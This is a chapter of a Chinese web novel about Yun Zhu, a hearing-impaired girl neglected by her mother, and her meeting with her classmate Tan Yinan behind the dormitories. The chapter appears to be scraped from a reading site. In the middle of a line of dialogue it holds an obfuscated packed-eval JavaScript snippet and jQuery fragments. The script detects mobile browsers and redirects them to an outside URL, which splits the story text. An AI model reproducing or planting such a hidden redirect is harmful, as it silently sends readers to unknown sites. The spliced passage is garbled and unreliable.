默认冷灰
24号文字
方正启体

5. Chapter 5

作者:折明椿本书字数:K更新时间:
    普通班的位置位于教学楼一楼,走廊外的学校园地种了满满一排梧桐树。


    夏意盎然,明绿缀空。


    暖光从绿意融融的树冠倾泻而下,空气气流中弥漫着旷人心神的青草气息。学校走廊铺满青花石地砖,映射白光。


    男生依旧是黑裤,但上身换了一中传统的深蓝色校服,饶是这一般般审美选出来的校服校裤,也抵挡不住来人经过时的冲击美感。


    眼神疏离,气质淡漠。


    他衣袖挽起露出一小节有力手臂,右手手腕缠上纱布,左手价值不菲的手表在白天反射光线。


    身边人声沸沸扬扬,风吹绿叶,万世清凉。


    云竹独自顿住呼吸。


    是、是他……


    居然是同一个人!


    云竹几乎是立即站起身,膝盖一下子撞到桌兜下面的铁板上,不禁吃痛,膝盖处泛起一片红晕。她这才意识到动静有点大了,安静地坐下,视线粘在谭以南向前的背影。


    好巧不巧,谭以南正好坐在她的对角线上。


    最远的距离。


    云竹在第一排最靠近讲桌的那个位置,对角线最远的距离正是教室后门的靠窗的座位。


    “来了啊,你说他长得俊不?我给你说啊,他家可是给学校捐了一栋楼,连校长那个老瘪三都对他恭恭敬敬的,跟太监见到皇帝一样,啧啧啧……”程慕说的形容活灵活现,小嘴巴不断叭叭叭,眉飞色舞。


    云竹也认真听着,她极少婉拒同学之间的主动性干涉。


    后桌伸出一只手,手里的透明软尺敲打了一下程慕,后者扭过头,满脸不耐烦,“干嘛啊?没看到我跟云竹说话吗?”


    “嘿呀,就她叫云竹啊,果然人如其名。”笑呵呵的男生扶了下眼镜,“话说我们真有缘分,天赐的良缘呢,有缘人终会相见。而且啊你姓云我姓海,有一首歌就叫《云与海》呢!”


    程慕无语地摆摆手:“差不多得了,强行扯缘分呢。你也不看看人家云竹愿不愿意搭理你。”


    眼镜男依旧笑呵呵:“是吗云竹?等我中午翻墙出去,请你们喝冰红茶。”


    他们几个人眼神全部转在云竹身上。


    好像被点名了。


    云竹迫不及防回神,原先准备偷偷溜走,但话题的风口最终还是落在她身上,这让人走也不好,回答也不好,尤其是面对程慕和班里的学生。


    刚刚他们聊的什么,云竹能大致听见,但具体聊的什么内容,助听器到现在也没有找到,于是她硬着头皮先打了个招呼:“你、你好……”


    程慕知道她的情况,最后的谈论还是等老师来班后才结束。云竹坐在这个班后,她不再是小透明般的存在,也不是默默潜水在班里观察人类。被好朋友程慕从蜗牛壳里拉出来后,她发觉,原来试着敞开心扉,外面的世界还是不一样的。


    起初硬着头皮认识新同学,再从新同学这个新身份在长久的日子里转变为朋友。


    认识了那个戴眼镜的男生,叫海湖,介绍自己时挺搞笑的,自称班里神棍,塔|罗牌占卜、八|字算命等等会些皮毛;还有前桌王荼淑,是个学习很好的女生……


    云竹灰暗充满裂痕的人生是一面镜子,慢慢涂上了透明胶水,碎片不会划伤手指,但划破的皮肤却能带来痛感,这让她体验到活着是一种什么感觉。但这些鲜活的朋友,会为她带上手套,帮助慢慢拼好这个碎裂的镜子。


    她扭头看向窗外,燕群飞过天际。


    认识了好多朋友……


    还有一个特别幸运的,


    她再次遇到了那个男的,还知道了对方的名字,怪好听的,叫谭以南。


    云竹脑海里想起海湖说的,有缘人终会相见。


    那么,这算不算有缘?


    *


    换了新班级,宿舍也顺势大换血了一遍。曾经的室友在端着脸盆的云竹面前依依不舍地告别,唯独忽略了她。云竹也不气馁,因为根本没有多少交情。


    ……


    但是有点失落的。


    相处时间这么久,连最后一声告别都没有。


    云竹一个人转身,默默地抱起被褥,纤细的胳膊使出劲,用力将被子角盖在肩膀上不掉下来,不然垂落在地上脏了还要洗。


    夏天本就热,走廊密不透风,湿热的空气粘在皮肤上,热得出汗,乌黑的发丝紧贴脸颊。整个人仿佛处于蒸笼中。


    她走到新寝室,这个新寝室在学生们的口中成为“风水宝地”,位置在一楼,离热水房还近,不用累死累活地爬楼梯,也不用去抢吹风机。


    云竹用衣袖沾了沾脸上流的汗水,推开门,程慕在寝室里吹空调,从下铺噔噔噔窜出来接过云竹手里的被褥。


    “欢迎回来!”程慕还嘟起嘴吹吹口哨。


    云竹一下子笑了,放眼望去,其他六个室友全是在教室里见过面的,有的也眼熟的很。来到新寝室后和室友们打了个照面,就忙各自的事情。


    被褥成绩好,被子叠成豆腐状,云竹去洗手间洗了把脸,正视自己的样貌。她身材瘦小,这个年纪正是长身体的最佳时期,但苏琦并不宠爱这个女儿,能有一口吃的就谢天谢地。长期造成的营养不良导致她肤色偏白,小脸还是蜡黄色,一副没长开的模样。


    都说女大十八变,云竹也确实越变越好看,典型的江南水乡美人胚子。但身高仅仅一米六,在优越不愁吃穿的孩子们面前,属实偏矮。


    矮也是有好处的,个子高容易被妈妈用酒瓶砸到。矮个子身体灵活,躲得更快一些。云竹这样想。


    但很快云竹便意识到个子矮的劣势了。


    那是又一次周三放学,按照常理来看,云竹理应是躲在外面,防着苏琦回家耍酒疯。但好在开学了,云竹可以安安分分待在寝室睡觉,加上刮大风,学校停电,政教处广播通知不上晚自习,全班欢呼。


    一楼教室窗外全是人头攒动的人流,奔涌向寝室楼。红星中学住宿的学生偏多,很少有几个走读生早早离校。


    天黑的晚,云竹趁着天还亮着,早早返回寝室,用盆抱着脏衣服和贴身衣物去手洗。寝室没有热水,拧开水龙头时,一股冰流从手上淌过,云竹眼睛都没有眨一下。认认真真洗完后,她将洗干净的校服挂到衣裳架子上,再挑高一点。


    冷风过境,势大如猛。


    校服下摆被一阵冷风吹到窗户边,可能是云竹力气小,没用夹子夹好肩领,这一吹整件校服都吹出窗外。


    云竹急欲伸手去抓,但事与愿违,校服早早被冷风吹出了窗外。好在是一楼,窗户外面能看到寝室楼后方的杂草丛。


    那里学校视为废弃场地,连个乒乓球台也没有,红色地砖缝隙里野草遍布,不知名野花野草达到半个人高,是不少早恋男女的私会场地。


    眼睁睁看着校服歪歪斜斜地挂在一颗紫薇树上,一簇簇红色花朵在绿叶的衬托下显得越发晃眼。偏偏有个更为显眼的蓝色校服挂在枝头,风吹摇摇晃晃,就是掉不下来。


    云竹抬起脚步,一路小跑,穿过连廊,衣摆随风飘起,气流灌进衣袖,长发随着步伐一颤一颤地颠簸。


    那是一片荒凉的野地,地砖密密麻麻长了青绿色的苔藓,云竹停下脚步,扶着膝盖喘气,空气中隐隐约约带着泥土味,还有又闷又潮湿的水汽。


    前几天下大暴雨,加上夏季本就炎热多雨,地面干的慢。云竹一脚踩在野草上,草叶沾的露水和泥土通通蹭到了鞋边。


    紫薇树树干高大,底部盘根错节,抬头看去,枝繁叶茂。云竹踮起脚尖伸出手,差一点勾到校服衣角,再踮脚踮得狠一点,照样还是勾不到,跳起来同样如此。


    她犯了难,环顾四周,都是些细软绵绵的细枝花草,根本没有什么用处。


    能不能拿到洗干净的校服是目前的难题。


    云竹思忖片刻,准备回寝室找程慕帮忙想想办法,树太高了,说不定在寝室借一下扫把可以够下来。


    正在她转身回去的那个瞬间,不怎么显眼的白衬衫闯入眼帘,位于杂草堆边,如果不是在这个角度看到漆黑头发的后脑勺,还以为是热晕了遇到灵异事件。


    云竹眨眨眼。


    那是……好像是一个人?


    怎么会有人蹲在那里?


    云竹蹲下脚步,脸色煞白,脑海中一下子浮现出通过家里关系手段进入红星中学的混子,成天打架喝酒。


    现在这情况,是不是恰巧碰到他抽烟了?要不要当做没看见赶紧跑?


    被发现了说不定还会被勒索一笔钱,但是她的钱在家里的小金猪存钱罐里,全部被妈妈偷走了,身上一分钱也没有……


    红星中学的男女生寝室是并排的两栋楼,成直线状。两栋寝室楼后方的荒地是连成一片的,校园远处的铁栅栏高耸,往年发生过不少学生夜间翻墙出逃现象。加强栅栏高度后,这类情况变减少了许多,但是逐渐成为一些混混头子们的“秘密基地”也不是没有可能。


    云竹不禁蹙眉,回头看一眼出口,恰好位于男女生寝室楼之间,要先出去必须经过对方附近。她再次犯了难,犹豫不决,被发现了后果不堪设想。就这样,脑子里时不时冒出几个不切实际的黑色泡泡,浮上天空,被风吹破。


    抱着赌一赌的心态,云竹放松脚步,抬脚便往出口的方向溜去,整个人弯下腰小心翼翼地前行,她凭感觉尽力放柔脚步,但因为左耳听力受损,再细微的声音仍然觉察不到,咯吱咯吱的枯草叶顿时引起了身后人的注意。


    “谁?”


    有人发现她。


    云竹吓得一激灵,双手握拳,不断摩挲着掌纹,险些摔倒在地。


    “出来。”


    躲在草堆里的云竹不敢贸然出声,右手捂嘴,双眼瞪着地面。


    怎么办怎么办?


    她身上一点钱都没有带。


    这种情况大声呼救,告诉老师,恐怕会被报复地更厉害吧?


    云竹思绪无限发散,她上初中时便听说有些恶劣的男生还会用烟头烫人衣服,皮肤被烧无非也流血留疤,自己忍着也就是了,但衣服上烧个破洞,会被妈妈发现打骂的。


    男生依然不依不饶,稳重的脚步踩着碎草声音不轻不重地落入云竹耳畔。


    “谁在哪里?别逼我把你揪出来。”


    威胁声越来越近。


    云竹悄悄红了眼眶,被揪出来打一顿骂一顿都好,衣服脏了她大不了再洗一次,等到周五放学回到家妈妈也不会发现,但千万别要钱啊。


    她重重地咬住唇,眼泪从眼眶中流出来,沾湿了乌黑纤长的睫毛,但还是用衣袖擦了擦。如果被霸凌,那也是她的命吧,反正她这一生从来没有体验过幸福。


    任凭命运使然,云竹泄了气,态度好一点会不会放了她?


    “对不起对不起饶了我吧,我身上没钱,家里很穷,我只是路过,连你长什么样我都没看到,我的校服被风吹到这里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981397|177945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,我只是……咳咳咳我只是、只是跑过来捡一下……”


    云竹低头闭紧了眼,双手合十,憋了一大口气全部说出去,说完的瞬间嘴巴还有点麻麻的,她从小就这样,过度紧张时说话毫无头绪,像梦游似的,梦到什么说什么。


    总之,极强的求生欲迫使她什么都做了,说太快,呼吸不稳,甚至喘不过来气。


    人的本能是生存,只要能活下来她什么都愿意做。


    对面忽然没了回应。


    云竹萌生出疑惑,隐隐约约感到近在咫尺的人朝她这里走了几步。


    “……被口水呛到连话都说不完整的,我还是第一次见到。”对方站在她面前不动。


    身边如临大敌的气势弱下去,云竹悄悄睁开一只眼,看到白绿交间的球鞋,一看价值不菲。


    云竹首先是稍稍安了心。


    这个男同学既然能穿这么好的球鞋,说明他家境优越,不缺钱。


    既然不缺钱,那就不会向她伸出敲诈勒索的手。


    好险好险……


    接着,她完全睁开眼,对方自然垂落在校服下摆的手里拎着塑料袋,透明塑料袋里装着几副药盒,隐隐约约能看清上面写得极其绕口复杂的药名。


    抬起头,水光盈盈的黑亮眼眸倒映出几分熟悉的脸庞,校服松松垮垮挂在身上,显露出白皙纤瘦的身形,少年处在发育期的肩胛骨敞开,脖子上渗出细密的汗水。


    这不是……


    这不是……?


    “谭、谭以南?”


    云竹终于叫出了他的名字。


    这算是,两个人之间第一次正式的见面。


    第一次有名有姓,知道对方姓名的见面。


    “你?”谭以南显然对她没印象。


    “我叫云竹,同班同学。”


    话刚说完,云竹也觉得白说了。根据程慕目前已知的消息,谭以南是八百年都不去学校正经上课的人,班里老同学的名字记不记得这挺难说,但怎么可能有闲工夫把她一个刚来的学生记住?


    “云竹。”谭以南扶了下白色棒球帽,盯着她的脸,轻轻重复了句,“云竹……”


    云竹见他嘀嘀咕咕什么,虽然左耳听不清,以为是刚刚说话声音小,谭以南没听见,又重复了句:“云竹,云朵的云,竹叶的竹。”


    “没问你名字,你来这里干什么?”


    “捡校服。”


    谭以南没回应,反倒是轻飘飘地巡望四周,又注视云竹,“这次眼神没有穿帮,撒谎水平有进步。”


    “……我没骗你。”云竹马上想起初遇时的荒唐场景,不自禁跺跺脚,又不习惯把话说太重,“我刚洗完的衣服,晾衣夹没夹好,被风刮到树上了,就在你头顶。”云竹向上看。


    谁知谭以南连看都没看一眼,直接大步往回去的路上走去。


    云竹见状,想起谭以南的身高估计是全班里数一数二的,找程慕去拿扫把也不一定能够到,还不如就近原则求助。于是她深呼吸,“谭以南,你能帮我把校服够下来吗?”


    这是她第一次在学校光明正大求助人。


    上学期在外班时,云竹借用一下周围同学的学习用品不好意思开口,潜意识认为太过打扰,况且也不太熟,每次开口,询问的字眼就像是被502胶水粘在喉咙眼里似的,连个字音都发不出来。


    更为担忧的是,被拒绝后的场景,想一想就让人难以忘怀。


    开学后没考好转入普通班,结识了程慕的社交圈,比半年前的独来独往好了不是一星半点,但长久岁月里积淀打磨的性格已经深深刻在骨髓。每次开口求助他人时,云竹总会思量许久。


    但这次不一样。


    云竹深呼吸。


    不远处的谭以南顿住脚步。


    偏头,脚步方向随之偏转。


    云竹松了一口气。


    幸好没有拒绝。


    谭以南将藏在身后沉甸甸的塑料袋随手放在一边,瞟了一眼挂在紫薇树上随风摇曳的校服,刚要撸起的衣袖又放下,五步作三步快步前走,他个头高,轻轻一跃,右手穿过紫薇花枝,就将没晾干的校服拽在手里。


    剩下满簇花枝摇曳,暴风雨后的花瓣经过风雨摧残,再被谭以南这么一拽,大片大片的花瓣扑簌簌地飘下来。


    “谢谢你。”云竹抖了抖校服上的碎枝叶子,还有一些花瓣。


    经过这次举动,云竹打心里认为两个人之间的关系也不是那么十分生疏,恰巧她看到谭以南夏日里却穿着整整齐齐的长袖,便问道,“你是紫外线过敏吗?”


    “不是,别问。”


    不容置疑的回答。云竹小声地“哦”了一下没再吭声。


    谭以南不想说,也没必要强迫他。


    云竹这样想,脚步跟随谭以南一起走向出口。


    “扯平了,我帮你拿到校服,那么今天在这里无论你看到什么,都不能对第三个人讲。”谭以南拾起药品,又摆出那一副不容别人靠近的臭脸,瞄了一眼云竹,将透明塑料袋显出的药品名字遮好。


    生病了吗?


    那怪不得天天请假。


    云竹点点头表示同意。谭以南不让说,那就不说,她也不是那种喜欢在别人背后嚼舌根的人,况且她也没人说。别人的隐私就是隐私,


    谭以南突然提起:“好幼稚。”


    云竹没反应过来,“什么?”


    谭以南:“你的名字。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)